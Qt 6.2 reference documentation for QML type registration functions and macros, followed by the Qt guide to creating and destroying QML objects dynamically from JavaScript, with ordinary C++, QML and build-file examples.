 An instance of the meta object cannot be created. An error message with the given *reason* is printed if the user attempts to create it.

 This function is useful for registering [Q\_NAMESPACE](qobject#Q_NAMESPACE) namespaces.

 Returns the QML type id.

 For example:

 
```
namespace MyNamespace {
  Q_NAMESPACE
  enum MyEnum {
      Key1,
      Key2,
  };
  Q_ENUMS(MyEnum)
}

//...
qmlRegisterUncreatableMetaObject(MyNamespace::staticMetaObject, "io.qt", 1, 0, "MyNamespace", "Access to enums & flags only");
```
 On the QML side, you can now use the registered enums:

 
```
Component.onCompleted: console.log(MyNamespace.Key2)
```
 This function was introduced in Qt 5.8.

 **See also** [QML\_ELEMENT](qqmlengine#QML_ELEMENT), [QML\_NAMED\_ELEMENT](qqmlengine#QML_NAMED_ELEMENT)(), and [QML\_UNCREATABLE](qqmlengine#QML_UNCREATABLE)().

 ### template <typename T> int qmlRegisterUncreatableType(const char \**uri*, int *versionMajor*, int *versionMinor*, const char \**qmlName*, const [QString](qstring) &*message*)

 This template function registers the C++ type in the QML system with the name *qmlName*, in the library imported from *uri* having the version number composed from *versionMajor* and *versionMinor*.

 While the type has a name and a type, it cannot be created, and the given error *message* will result if creation is attempted.

 This is useful where the type is only intended for providing attached properties or enum values.

 Returns the QML type id.

 **See also** [QML\_UNCREATABLE](qqmlengine#QML_UNCREATABLE)(), [qmlRegisterTypeNotAvailable](qqmlengine#qmlRegisterTypeNotAvailable)(), and [Choosing the Correct Integration Method Between C++ and QML](https://doc.qt.io/qt-6.2/qtqml-cppintegration-overview.html#choosing-the-correct-integration-method-between-c-and-qml).

 ### 
`[since 5.12]` int qmlTypeId(const char \**uri*, int *versionMajor*, int *versionMinor*, const char \**qmlName*)

 Returns the QML type id of a type that was registered with the name *qmlName* in a particular *uri* and a version specified in *versionMajor* and *versionMinor*.

 This function returns the same value as the QML type registration functions such as [qmlRegisterType](qqmlengine#qmlRegisterType)() and [qmlRegisterSingletonType](qqmlengine#qmlRegisterSingletonType)().

 If *qmlName*, *uri* and *versionMajor* match a registered type, but the specified minor version in *versionMinor* is higher, then the id of the type with the closest minor version is returned.

 Returns -1 if no matching type was found or one of the given parameters was invalid.

 This function was introduced in Qt 5.12.

 **See also** [QML\_ELEMENT](qqmlengine#QML_ELEMENT), [QML\_NAMED\_ELEMENT](qqmlengine#QML_NAMED_ELEMENT), [QML\_SINGLETON](qqmlengine#QML_SINGLETON), [qmlRegisterType](qqmlengine#qmlRegisterType)(), and [qmlRegisterSingletonType](qqmlengine#qmlRegisterSingletonType)().

 ### 
`[since 5.9]` QQmlInfo qmlWarning(const [QObject](qobject#QObject) \**object*)

 Prints warning messages that include the file and line number for the specified QML *object*.

 When QML types produce logging messages, it improves traceability if they include the QML file and line number on which the particular instance was instantiated.

 To include the file and line number, an object must be passed. If the file and line number is not available for that instance (either it was not instantiated by the QML engine or location information is disabled), "unknown location" will be used instead.

 For example,

 
```
qmlInfo(object) << tr("property cannot be set to 0");
```
 prints

 
```
QML MyCustomType (unknown location): property cannot be set to 0
```
 This function was introduced in Qt 5.9.

 **See also** [qmlDebug](qqmlengine#qmlDebug) and [qmlInfo](qqmlengine#qmlInfo).

   Macro Documentation
-------------------

 ### 
QML\_ADDED\_IN\_MINOR\_VERSION(*VERSION*)

 Declares that the enclosing type or namespace was added in the specified minor *VERSION*, relative to the module major version. The minor version is assumed to be in line with any revisions given by [Q\_REVISION](qobject#Q_REVISION)() macros on methods, slots, or signals, and any REVISION tags on properties declared with [Q\_PROPERTY](qobject#Q_PROPERTY)().

 QML\_ADDED\_IN\_MINOR\_VERSION() only takes effect if the type or namespace is available in QML, by having a [QML\_ELEMENT](qqmlengine#QML_ELEMENT), [QML\_NAMED\_ELEMENT](qqmlengine#QML_NAMED_ELEMENT)(), [QML\_ANONYMOUS](qqmlengine#QML_ANONYMOUS), or [QML\_INTERFACE](qqmlengine#QML_INTERFACE) macro.

 If the QML module the type belongs to is imported with a lower version than the one determined this way, the QML type is invisible.

 **See also** [QML\_ELEMENT](qqmlengine#QML_ELEMENT) and [QML\_NAMED\_ELEMENT](qqmlengine#QML_NAMED_ELEMENT)().

 ### 
QML\_ANONYMOUS

 Declares the enclosing type to be available, but anonymous in QML. The type cannot be created or used to declare properties in QML, but when passed from C++, it is recognized. In QML, you can use properties of this type if they are declared in C++.

 **See also** [QML\_ELEMENT](qqmlengine#QML_ELEMENT), [QML\_NAMED\_ELEMENT](qqmlengine#QML_NAMED_ELEMENT)(), [QML\_UNCREATABLE](qqmlengine#QML_UNCREATABLE)(), and [QML\_INTERFACE](qqmlengine#QML_INTERFACE).

 ### 
QML\_ATTACHED(*ATTACHED\_TYPE*)

 Declares that the enclosing type attaches *ATTACHED\_TYPE* as an [attached property](qtqml-syntax-objectattributes#attached-properties-and-attached-signal-handlers) to other types. This takes effect if the type is exposed to QML using a [QML\_ELEMENT](qqmlengine#QML_ELEMENT) or [QML\_NAMED\_ELEMENT](qqmlengine#QML_NAMED_ELEMENT)() macro.

 **See also** [QML\_ELEMENT](qqmlengine#QML_ELEMENT), [QML\_NAMED\_ELEMENT](qqmlengine#QML_NAMED_ELEMENT)(), [qmlAttachedPropertiesObject](qqmlengine#qmlAttachedPropertiesObject)(), and [Providing Attached Properties](qtqml-cppintegration-definetypes#providing-attached-properties).

 ### 
QML\_DECLARE\_TYPE

 Equivalent to `Q_DECLARE_METATYPE(TYPE *)` and `Q_DECLARE_METATYPE(QQmlListProperty<TYPE>)`

 ### 
QML\_DECLARE\_TYPEINFO(*Type*, *Flags*)

 Declares additional properties of the given *Type* as described by the specified *Flags*.

 Current the only supported type info is `QML_HAS_ATTACHED_PROPERTIES` which declares that the *Type* supports [attached properties](qtqml-syntax-objectattributes#attached-properties-and-attached-signal-handlers). QML\_DECLARE\_TYPEINFO() is not necessary if *Type* contains the [QML\_ATTACHED](qqmlengine#QML_ATTACHED) macro.

 ### 
QML\_ELEMENT

 Declares the enclosing type or namespace to be available in QML, using its class or namespace name as the QML element name.

 For example, this makes the C++ class `Slider` available as a QML type named `Slider`.

 
```
class Slider : public QObject
{
    Q_OBJECT
    QML_ELEMENT
    ...
}
```
 You can use the build system to register the type in the type namespace *com.mycompany.qmlcomponents* with major version `1`. For qmake, specify the following in your project file:

 
```
CONFIG += qmltypes
QML_IMPORT_NAME = com.mycompany.qmlcomponents
QML_IMPORT_MAJOR_VERSION = 1
```
 With CMake, you pass the URI and version to qt\_add\_qml\_module

 
```
qt6_add_qml_module(myapp
  URI com.mycompany.qmlcomponents
  VERSION 1.0
)
```
 Once registered, the type can be used in QML by importing the same type namespace and version number:

 
```
import com.mycompany.qmlcomponents 1.0

Slider {
    // ...
}
```
 You can also make namespaces tagged with [Q\_NAMESPACE](qobject#Q_NAMESPACE) available this way, in order to expose any enums tagged with [Q\_ENUM\_NS](qobject#Q_ENUM_NS) they contain.

 **NOTE:** When classes have the same name but are located in different namespaces using QML\_ELEMENT on both of them will cause a conflict. Make sure to use [QML\_NAMED\_ELEMENT](qqmlengine#QML_NAMED_ELEMENT)() for one of them instead.

 **See also** [Choosing the Correct Integration Method Between C++ and QML](https://doc.qt.io/qt-6.2/qtqml-cppintegration-overview.html#choosing-the-correct-integration-method-between-c-and-qml), [QML\_NAMED\_ELEMENT](qqmlengine#QML_NAMED_ELEMENT)(), [Q\_REVISION](qobject#Q_REVISION)(), and [QML\_ADDED\_IN\_MINOR\_VERSION](qqmlengine#QML_ADDED_IN_MINOR_VERSION)().

 ### 
QML\_EXTENDED(*EXTENDED\_TYPE*)

 Declares that the enclosing type uses *EXTENDED\_TYPE* as an extension to provide further properties, methods, and enumerations in QML. This takes effect if the type is exposed to QML using a [QML\_ELEMENT](qqmlengine#QML_ELEMENT) or [QML\_NAMED\_ELEMENT](qqmlengine#QML_NAMED_ELEMENT)() macro.

 **See also** [QML\_ELEMENT](qqmlengine#QML_ELEMENT), [QML\_NAMED\_ELEMENT](qqmlengine#QML_NAMED_ELEMENT)(), [QML\_EXTENDED\_NAMESPACE](qqmlengine#QML_EXTENDED_NAMESPACE)(), and [Registering Extension Objects](qtqml-cppintegration-definetypes#registering-extension-objects).

 ### 
QML\_EXTENDED\_NAMESPACE(*EXTENDED\_NAMESPACE*)

 Declares that the enclosing type uses *EXTENDED\_NAMESPACE* as an extension to provide further enumerations in QML. This takes effect if the type is exposed to QML using a [QML\_ELEMENT](qqmlengine#QML_ELEMENT) or [QML\_NAMED\_ELEMENT](qqmlengine#QML_NAMED_ELEMENT)() macro. The enumerations need to be exposed to the metaobject system for this to work.

 For example, give the following C++ code

 
```
namespace MyNamespace {
    Q_NAMESPACE
    enum MyEnum { MyEnumerator = 10 };
    Q_ENUM_NS(MyEnum)
}

class QmlType : public QObject
{
    Q_OBJECT
    QML_ELEMENT
    QML_EXTENDED_NAMESPACE(MyNamespace)
}
```
 we can access the enum in QML:

 
```
QmlType {
    property int i: QmlType.MyEnumerator // i will be 10
}
```
  **Note:** EXTENDED\_NAMESPACE can also be a [QObject](qobject) or QGadget; in that case - and in contrast to [QML\_EXTENDED](qqmlengine#QML_EXTENDED), which also exposes methods and properties - only its enumerations are exposed.

   **Note:** *EXTENDED\_NAMESPACE* must have a metaobject; i.e. it must either be a namespace which contains the [Q\_NAMESPACE](qobject#Q_NAMESPACE) macro or a [QObject](qobject)/QGadget.

  **See also** [QML\_ELEMENT](qqmlengine#QML_ELEMENT), [QML\_NAMED\_ELEMENT](qqmlengine#QML_NAMED_ELEMENT)(), [QML\_EXTENDED](qqmlengine#QML_EXTENDED)(), [Registering Extension Objects](qtqml-cppintegration-definetypes#registering-extension-objects), [Q\_ENUM](qobject#Q_ENUM), and [Q\_ENUM\_NS](qobject#Q_ENUM_NS).

 ### 
QML\_FOREIGN(*FOREIGN\_TYPE*)

 Declares that any [QML\_ELEMENT](qqmlengine#QML_ELEMENT), [QML\_NAMED\_ELEMENT](qqmlengine#QML_NAMED_ELEMENT)(), [QML\_ANONYMOUS](qqmlengine#QML_ANONYMOUS), [QML\_INTERFACE](qqmlengine#QML_INTERFACE), [QML\_UNCREATABLE](qqmlengine#QML_UNCREATABLE)(), [QML\_SINGLETON](qqmlengine#QML_SINGLETON), [QML\_ADDED\_IN\_MINOR\_VERSION](qqmlengine#QML_ADDED_IN_MINOR_VERSION)(), [QML\_REMOVED\_IN\_MINOR\_VERSION](qqmlengine#QML_REMOVED_IN_MINOR_VERSION)(), [QML\_ATTACHED](qqmlengine#QML_ATTACHED)(), [QML\_EXTENDED](qqmlengine#QML_EXTENDED)(), or [QML\_EXTENDED\_NAMESPACE](qqmlengine#QML_EXTENDED_NAMESPACE)() macros in the enclosing C++ type do not apply to the enclosing type but instead to *FOREIGN\_TYPE*. The enclosing type still needs to be registered with the [meta object system](metaobjects) using a [Q\_GADGET](qobject#Q_GADGET) or [Q\_OBJECT](qobject#Q_OBJECT) macro.

 This is useful for registering types that cannot be amended to add the macros, for example because they belong to 3rdparty libraries. To register a namespace, see [QML\_FOREIGN\_NAMESPACE](qqmlengine#QML_FOREIGN_NAMESPACE)().

 **NOTE:** You may want to use [QML\_NAMED\_ELEMENT](qqmlengine#QML_NAMED_ELEMENT)() instead of [QML\_ELEMENT](qqmlengine#QML_ELEMENT) due to the fact that the element will be named like the struct it is contained in, not the foreign type. See [Extending QML - Extension Objects Example](https://doc.qt.io/qt-6.2/qtqml-referenceexamples-extended-example.html) for an example.

 **See also** [QML\_ELEMENT](qqmlengine#QML_ELEMENT), [QML\_NAMED\_ELEMENT](qqmlengine#QML_NAMED_ELEMENT)(), and [QML\_FOREIGN\_NAMESPACE](qqmlengine#QML_FOREIGN_NAMESPACE)().

 ### 
QML\_FOREIGN\_NAMESPACE(*FOREIGN\_NAMESPACE*)

 Declares that any [QML\_ELEMENT](qqmlengine#QML_ELEMENT), [QML\_NAMED\_ELEMENT](qqmlengine#QML_NAMED_ELEMENT)(), [QML\_ANONYMOUS](qqmlengine#QML_ANONYMOUS), [QML\_INTERFACE](qqmlengine#QML_INTERFACE), [QML\_UNCREATABLE](qqmlengine#QML_UNCREATABLE)(), [QML\_SINGLETON](qqmlengine#QML_SINGLETON), [QML\_ADDED\_IN\_MINOR\_VERSION](qqmlengine#QML_ADDED_IN_MINOR_VERSION)(), or [QML\_REMOVED\_IN\_MINOR\_VERSION](qqmlengine#QML_REMOVED_IN_MINOR_VERSION)() macros in the enclosing C++ namespace do not apply to the enclosing type but instead to *FOREIGN\_NAMESPACE*. The enclosing namespace still needs to be registered with the [meta object system](metaobjects) using a [Q\_NAMESPACE](qobject#Q_NAMESPACE) macro.

 This is useful for registering namespaces that cannot be amended to add the macros, for example because they belong to 3rdparty libraries.

 **See also** [QML\_ELEMENT](qqmlengine#QML_ELEMENT), [QML\_NAMED\_ELEMENT](qqmlengine#QML_NAMED_ELEMENT)(), and [QML\_FOREIGN](qqmlengine#QML_FOREIGN)().

 ### 
QML\_IMPLEMENTS\_INTERFACES(*interfaces*)

 This macro tells Qt which QML *interfaces* the class implements. This macro should only be used for interfacing with classes using [QML\_INTERFACE](qqmlengine#QML_INTERFACE), use [Q\_INTERFACES](qobject#Q_INTERFACES) otherwise. It's required in order for declarative registration via [QML\_ELEMENT](qqmlengine#QML_ELEMENT) to function properly.

 **See also** [QML\_INTERFACE](qqmlengine#QML_INTERFACE) and [Q\_INTERFACES](qobject#Q_INTERFACES).

 ### 
QML\_INTERFACE

 This macro registers the enclosing C++ type in the QML system as an interface.

 Types registered as an interface in QML should also declare themselves as an interface with the [meta object system](metaobjects). For example:

 
```
struct FooInterface
{
    QML_INTERFACE
public:
    virtual ~FooInterface();
    virtual void doSomething() = 0;
};

Q_DECLARE_INTERFACE(FooInterface, "org.foo.FooInterface")
```
 When registered with QML in this way, they can be used as property types:

 [Q\_PROPERTY](qobject#Q_PROPERTY)(FooInterface \*foo READ foo WRITE setFoo)

 When you assign a [QObject](qobject) sub-class to this property, the QML engine does the interface cast to `FooInterface*` automatically.

 Interface types are implicitly anonymous and uncreatable in QML.

 **NOTE:** When inheriting from types using QML\_INTERFACE, use [QML\_IMPLEMENTS\_INTERFACES](qqmlengine#QML_IMPLEMENTS_INTERFACES) instead of [Q\_INTERFACES](qobject#Q_INTERFACES).

 **See also** [QML\_IMPLEMENTS\_INTERFACES](qqmlengine#QML_IMPLEMENTS_INTERFACES)(), [QML\_ELEMENT](qqmlengine#QML_ELEMENT), [QML\_NAMED\_ELEMENT](qqmlengine#QML_NAMED_ELEMENT)(), [QML\_UNCREATABLE](qqmlengine#QML_UNCREATABLE)(), and [QML\_ANONYMOUS](qqmlengine#QML_ANONYMOUS).

 ### 
QML\_NAMED\_ELEMENT(*name*)

 Declares the enclosing type or namespace to be available in QML, using *name* as the element name. Otherwise behaves the same as [QML\_ELEMENT](qqmlengine#QML_ELEMENT).

 
```
class SqlEventDatabase : public QObject
{
    Q_OBJECT
    QML_NAMED_ELEMENT(EventDatabase)

    // ...
};
```
 **See also** [Choosing the Correct Integration Method Between C++ and QML](https://doc.qt.io/qt-6.2/qtqml-cppintegration-overview.html#choosing-the-correct-integration-method-between-c-and-qml) and [QML\_ELEMENT](qqmlengine#QML_ELEMENT).

 ### 
QML\_REMOVED\_IN\_MINOR\_VERSION(*VERSION*)

 Declares that the enclosing type or namespace was removed in the specified minor *VERSION*, relative to the module major version. This is primarily useful when replacing the implementation of a QML type. If a corresponding [QML\_ADDED\_IN\_MINOR\_VERSION](qqmlengine#QML_ADDED_IN_MINOR_VERSION)() is present on a different type or namespace of the same QML name, then the removed type is used when importing versions of the module lower than *VERSION*, and the added type is used when importing versions of the module greater or equal *VERSION*.

 QML\_REMOVED\_IN\_MINOR\_VERSION() only takes effect if type or namespace is available in QML, by having a [QML\_ELEMENT](qqmlengine#QML_ELEMENT), [QML\_NAMED\_ELEMENT](qqmlengine#QML_NAMED_ELEMENT)(), [QML\_ANONYMOUS](qqmlengine#QML_ANONYMOUS), or [QML\_INTERFACE](qqmlengine#QML_INTERFACE) macro.

 **See also** [QML\_ELEMENT](qqmlengine#QML_ELEMENT) and [QML\_NAMED\_ELEMENT](qqmlengine#QML_NAMED_ELEMENT)().

 ### 
QML\_SINGLETON

 Declares the enclosing type to be a singleton in QML. This only takes effect if the type is a [Q\_OBJECT](qobject#Q_OBJECT) and is available in QML (by having a [QML\_ELEMENT](qqmlengine#QML_ELEMENT) or [QML\_NAMED\_ELEMENT](qqmlengine#QML_NAMED_ELEMENT)() macro). By default, each [QQmlEngine](qqmlengine) will try to create a singleton instance using either the type's default constructor or a static factory function of the signature `T *create(QQmlEngine *, QJSEngine *)` when the type is first accessed. If both do exist and are accessible, the default constructor is preferred. If there is no default constructor and no factory function the singleton is inaccessible.

 In order to declare a default-constructible class as singleton, all you have to do is add QML\_SINGLETON:

 
```
class MySingleton : public QObject
{
    Q_OBJECT
    QML_ELEMENT
    QML_SINGLETON
    // Q_PROPERTY( ... )
public:
    // members, Q_INVOKABLE functions, etc.
};
```
 If the singleton class is not default-constructible, but you can modify it, you can add a factory function to it, in order to make it accessible:

 
```
class MySingleton : public QObject
{
    Q_OBJECT
    QML_ELEMENT
    QML_SINGLETON
    // Q_PROPERTY( ... )

public:
    static MySingleton *create(QQmlEngine *qmlEngine, QJSEngine *jsEngine)
    {
        MySingleton *result = nullptr;
        // Create the object using some custom constructor or factory.
        // The QML engine will assume ownership and delete it, eventually.
        return result;
    }

    // members, Q_INVOKABLE functions, etc
};
```
 If you cannot modify the class and it does not have a default constructor or a suitable factory function, you can provide a [QML\_FOREIGN](qqmlengine#QML_FOREIGN) wrapper to define the factory function:

 
```
struct SingletonForeign
{
    Q_GADGET
    QML_FOREIGN(MySingleton)
    QML_SINGLETON
    QML_NAMED_ELEMENT(MySingleton)
public:

    static MySingleton *create(QQmlEngine *, QJSEngine *engine)
    {
        MySingleton *result = nullptr;
        // Create the instance using some custom constructor or factory.
        // The QML engine will assume ownership and delete it, eventually.
        return result;
    }
};
```
 Finally, if you want to provide one specific singleton object, the creation of which you cannot control, you can return that from a factory function. This is a replacement for the [qmlRegisterSingletonInstance](qqmlengine#qmlRegisterSingletonInstance) function. If you were calling

 
```
qmlRegisterSingletonInstance("MyModule", 1, 0, "MySingleton", myObject);
```
 with myObject being of type `MySingleton *`, you can do the following instead:

 
```
struct SingletonForeign
{
    Q_GADGET
    QML_FOREIGN(MySingleton)
    QML_SINGLETON
    QML_NAMED_ELEMENT(MySingleton)
public:

    // Initialize this using myObject where you would previously
    // call qmlRegisterSingletonInstance().
    static MySingleton *s_singletonInstance = nullptr;

    static MySingleton *create(QQmlEngine *, QJSEngine *engine)
    {
        // The instance has to exist before it is used. We cannot replace it.
        Q_ASSERT(s_singletonInstance);

        // The engine has to have the same thread affinity as the singleton.
        Q_ASSERT(engine->thread() == s_singletonInstance->thread());

        // There can only be one engine accessing the singleton.
        if (s_engine)
            Q_ASSERT(engine == s_engine);
        else
            s_engine = engine;

        // Explicitly specify C++ ownership so that the engine doesn't delete
        // the instance.
        QJSEngine::setObjectOwnership(s_singletonInstance,
                                      QJSEngine::CppOwnership);
        return s_singletonInstance;
    }

private:
    static QJSEngine *s_engine = nullptr;
};
```
 This way, the pre-existing class `MySingleton` is declared to be a QML singleton, called `MySingleton`. You can specify an instance for it any time before it is used by setting the `s_singletonInstance` member. None of this requires modification of `MySingleton` itself.

  **Note:** This pattern doesn't work if either the singleton is accessed by multiple QML engines, or if the QML engine accessing it has a different thread affinity than the singleton object itself. As shown above, you can check the parameters to the `create()` method for identity and thread affinity of the engine in order to assert on that.

  **See also** [QML\_ELEMENT](qqmlengine#QML_ELEMENT), [QML\_NAMED\_ELEMENT](qqmlengine#QML_NAMED_ELEMENT)(), and [qmlRegisterSingletonInstance](qqmlengine#qmlRegisterSingletonInstance)().

 ### 
QML\_UNAVAILABLE

 This macro declares the enclosing type to be unavailable in QML. It registers an internal dummy type called `QQmlTypeNotAvailable` as [QML\_FOREIGN](qqmlengine#QML_FOREIGN)() type, using any further QML macros you specify.

 Normally, the types exported by a module should be fixed. However, if a C++ type is not available, you should at least "reserve" the QML type name, and give the user of the unavailable type a meaningful error message.

 Example:

 
```
#ifdef NO_GAMES_ALLOWED
struct MinehuntGame
{
    Q_GADGET
    QML_NAMED_ELEMENT(Game)
    QML_UNAVAILABLE
    QML_UNCREATABLE("Get back to work, slacker!");
};
#else
class MinehuntGame : public QObject
{
    Q_OBJECT
    QML_NAMED_ELEMENT(Game)
    // ...
};
#endif
```
 This will cause any QML which attempts to use the "Game" type to produce an error message:

 
```
fun.qml: Get back to work, slacker!
   Game {
   ^
```
 Using this technique, you only need a [Q\_GADGET](qobject#Q_GADGET) struct to customize the error message, not a full-blown [QObject](qobject). Without [QML\_UNCREATABLE](qqmlengine#QML_UNCREATABLE)(), QML\_UNAVAILABLE still results in a more specific error message than the usual "is not a type" for completely unknown types.

 **See also** [QML\_ELEMENT](qqmlengine#QML_ELEMENT), [QML\_NAMED\_ELEMENT](qqmlengine#QML_NAMED_ELEMENT)(), [QML\_UNCREATABLE](qqmlengine#QML_UNCREATABLE)(), and [QML\_FOREIGN](qqmlengine#QML_FOREIGN)().

 ### 
QML\_UNCREATABLE(*reason*)

 Declares that the enclosing type shall not be creatable from QML. This takes effect if the type is available in QML, by having a [QML\_ELEMENT](qqmlengine#QML_ELEMENT) or [QML\_NAMED\_ELEMENT](qqmlengine#QML_NAMED_ELEMENT)() macro. The *reason* will be emitted as error message if an attempt to create the type from QML is detected.

 Some QML types are implicitly uncreatable, in particular types exposed with [QML\_ANONYMOUS](qqmlengine#QML_ANONYMOUS) or namespaces exposed with [QML\_ELEMENT](qqmlengine#QML_ELEMENT) or [QML\_NAMED\_ELEMENT](qqmlengine#QML_NAMED_ELEMENT)(). For such types, QML\_UNCREATABLE() can be used to provide a custom error message.

 Since Qt 6.0 you can use "" instead of a reason to use a standard message instead.

 **See also** [QML\_ELEMENT](qqmlengine#QML_ELEMENT), [QML\_NAMED\_ELEMENT](qqmlengine#QML_NAMED_ELEMENT)(), and [QML\_ANONYMOUS](qqmlengine#QML_ANONYMOUS).

 

 © The Qt Company Ltd  
Licensed under the GNU Free Documentation License, Version 1.3.  

<https://doc.qt.io/qt-6.2/qqmlengine.html>

Dynamic QML Object Creation from JavaScript
===========================================

 QML supports the dynamic creation of objects from within JavaScript. This is useful to delay instantiation of objects until necessary, thereby improving application startup time. It also allows visual objects to be dynamically created and added to the scene in reaction to user input or other events.

 See the [Dynamic Scene example](https://doc.qt.io/qt-6.2/qtqml-dynamicscene-example.html) for a demonstration of the concepts discussed on this page.

 Creating Objects Dynamically
----------------------------

 There are two ways to create objects dynamically from JavaScript. You can either call [Qt.createComponent](qml-qtqml-qt#createComponent-method)() to dynamically create a [Component](qml-qtqml-component) object, or use [Qt.createQmlObject](qml-qtqml-qt#createQmlObject-method)() to create an object from a string of QML. Creating a component is better if you have an existing component defined in a QML document and you want to dynamically create instances of that component. Otherwise, creating an object from a string of QML is useful when the object QML itself is generated at runtime.

 ### Creating a Component Dynamically

 To dynamically load a component defined in a QML file, call the [Qt.createComponent](qml-qtqml-qt#createComponent-method)() function in the [Qt object](qml-qtqml-qt). This function takes the URL of the QML file as its only argument and creates a [Component](qml-qtqml-component) object from this URL.

 Once you have a [Component](qml-qtqml-component), you can call its [createObject](qml-qtqml-component#createObject-method)() method to create an instance of the component. This function can take one or two arguments:

 * The first is the parent for the new object. The parent can be a graphical object (i.e. of the [Item](qml-qtquick-item) type) or non-graphical object (i.e. of the [QtObject](qml-qtqml-qtobject) or C++ [QObject](qobject) type). Only graphical objects with graphical parent objects will be rendered to the [Qt Quick](qtquick-index) visual canvas. If you wish to set the parent later you can safely pass `null` to this function.
* The second is optional and is a map of property-value pairs that define initial any property values for the object. Property values specified by this argument are applied to the object before its creation is finalized, avoiding binding errors that may occur if particular properties must be initialized to enable other property bindings. Additionally, there are small performance benefits when compared to defining property values and bindings after the object is created.

 Here is an example. First there is `Sprite.qml`, which defines a simple QML component:

 
```
import QtQuick 2.0

Rectangle { width: 80; height: 50; color: "red" }
```
 Our main application file, `main.qml`, imports a `componentCreation.js` JavaScript file that will create `Sprite` objects:

 
```
import QtQuick 2.0
import "componentCreation.js" as MyScript

Rectangle {
    id: appWindow
    width: 300; height: 300

    Component.onCompleted: MyScript.createSpriteObjects();
}
```
 Here is `componentCreation.js`. Notice it checks whether the component [status](qml-qtqml-component#status-prop) is `Component.Ready` before calling [createObject](qml-qtqml-component#createObject-method)() in case the QML file is loaded over a network and thus is not ready immediately.

 
```
var component;
var sprite;

function createSpriteObjects() {
    component = Qt.createComponent("Sprite.qml");
    if (component.status == Component.Ready)
        finishCreation();
    else
        component.statusChanged.connect(finishCreation);
}

function finishCreation() {
    if (component.status == Component.Ready) {
        sprite = component.createObject(appWindow, {x: 100, y: 100});
        if (sprite == null) {
            // Error Handling
            console.log("Error creating object");
        }
    } else if (component.status == Component.Error) {
        // Error Handling
        console.log("Error loading component:", component.errorString());
    }
}
```
 If you are certain the QML file to be loaded is a local file, you could omit the `finishCreation()` function and call [createObject](qml-qtqml-component#createObject-method)() immediately:

 
```
function createSpriteObjects() {
    component = Qt.createComponent("Sprite.qml");
    sprite = component.createObject(appWindow, {x: 100, y: 100});

    if (sprite == null) {
        // Error Handling
        console.log("Error creating object");
    }
}
```
 Notice in both instances, [createObject](qml-qtqml-component#createObject-method)() is called with `appWindow` passed as the parent argument, since the dynamically created object is a visual (Qt Quick) object. The created object will become a child of the `appWindow` object in `main.qml`, and appear in the scene.

 When using files with relative paths, the path should be relative to the file where [Qt.createComponent](qml-qtqml-qt#createComponent-method)() is executed.

 To connect signals to (or receive signals from) dynamically created objects, use the signal `connect()` method. See [Connecting Signals to Methods and Signals](qtqml-syntax-signals#connecting-signals-to-methods-and-signals) for more information.

 It is also possible to instantiate components without blocking via the [incubateObject](qml-qtqml-component#incubateObject-method)() function.

 ### Creating an Object from a String of QML

 If the QML is not defined until runtime, you can create a QML object from a string of QML using the [Qt.createQmlObject](qml-qtqml-qt#createQmlObject-method)() function, as in the following example:

 
```
const newObject = Qt.createQmlObject(`
    import QtQuick 2.0

    Rectangle {
        color: "red"
        width: 20
        height: 20
    }
    `,
    parentItem,
    "myDynamicSnippet"
);
```
 The first argument is the string of QML to create. Just like in a new file, you will need to import any types you wish to use. The second argument is the parent object for the new object, and the parent argument semantics which apply to components are similarly applicable for `createQmlObject()`. The third argument is the file path to associate with the new object; this is used for error reporting.

 If the string of QML imports files using relative paths, the path should be relative to the file in which the parent object (the second argument to the method) is defined.

  **Important:** When building static QML applications, QML files are scanned to detect import dependencies. That way, all necessary plugins and resources are resolved at compile time. However, only explicit import statements are considered (those found at the top of a QML file), and not import statements enclosed within string literals. To support static builds, you therefore need to ensure that QML files using [Qt.createQmlObject](qml-qtqml-qt#createQmlObject-method)(), explicitly contain all necessary imports at the top of the file in addition to inside the string literals.

  Maintaining Dynamically Created Objects
---------------------------------------

 When managing dynamically created objects, you must ensure the creation context outlives the created object. Otherwise, if the creation context is destroyed first, the bindings and signal handlers in the dynamic object will no longer work.

 The actual creation context depends on how an object is created:

 * If [Qt.createComponent](qml-qtqml-qt#createComponent-method)() is used, the creation context is the [QQmlContext](qqmlcontext) in which this method is called
* If [Qt.createQmlObject](qml-qtqml-qt#createQmlObject-method)() is called, the creation context is the context of the parent object passed to this method
* If a `Component{}` object is defined and [createObject](qml-qtqml-component#createObject-method)() or [incubateObject](qml-qtqml-component#incubateObject-method)() is called on that object, the creation context is the context in which the `Component` is defined

 Also, note that while dynamically created objects may be used the same as other objects, they do not have an id in QML.

 Deleting Objects Dynamically
----------------------------

 In many user interfaces, it is sufficient to set a visual object's opacity to 0 or to move the visual object off the screen instead of deleting it. If you have lots of dynamically created objects, however, you may receive a worthwhile performance benefit if unused objects are deleted.

 Note that you should never manually delete objects that were dynamically created by convenience QML object factories (such as [Loader](qml-qtquick-loader) and [Repeater](qml-qtquick-repeater)). Also, you should avoid deleting objects that you did not dynamically create yourself.

 Items can be deleted using the `destroy()` method. This method has an optional argument (which defaults to 0) that specifies the approximate delay in milliseconds before the object is to be destroyed.

 Here is an example. The `application.qml` creates five instances of the `SelfDestroyingRect.qml` component. Each instance runs a [NumberAnimation](qml-qtquick-numberanimation), and when the animation has finished, calls `destroy()` on its root object to destroy itself:

 

|  |  |
| --- | --- |
| `application.qml` | 
```
import QtQuick 2.0

Item {
    id: container
    width: 500; height: 100

    Component.onCompleted: {
        var component = Qt.createComponent("SelfDestroyingRect.qml");
        for (var i=0; i<5; i++) {
            var object = component.createObject(container);
            object.x = (object.width + 10) * i;
        }
    }
}
```
 |
| `SelfDestroyingRect.qml` | 
```
import QtQuick 2.0

Rectangle {
    id: rect
    width: 80; height: 80
    color: "red"

    NumberAnimation on opacity {
        to: 0
        duration: 1000

        onRunningChanged: {
            if (!running) {
                console.log("Destroying...")
                rect.destroy();
            }
        }
    }
}
```
 |

 Alternatively, the `application.qml` could have destroyed the created object by calling `object.destroy()`.

 Note that it is safe to call destroy() on an object within that object. Objects are not destroyed the instant destroy() is called, but are cleaned up sometime between the end of that script block and the next frame (unless you specified a non-zero delay).

 Note also that if a `SelfDestroyingRect` instance was created statically like this:

 
```
Item {
    SelfDestroyingRect {
        // ...
    }
}
```
 This would result in an error, since objects can only be dynamically destroyed if they were dynamically created.

 Objects created with [Qt.createQmlObject](qml-qtqml-qt#createQmlObject-method)() can similarly be destroyed using `destroy()`:

 
```
const newObject = Qt.createQmlObject(`
    import QtQuick 2.0

    Rectangle {
        color: "red"
        width: 20
        height: 20
    }
    `,
    parentItem,
    "myDynamicSnippet"
);
newObject.destroy(1000);
```


 © The Qt Company Ltd  
Licensed under the GNU Free Documentation License, Version 1.3.  

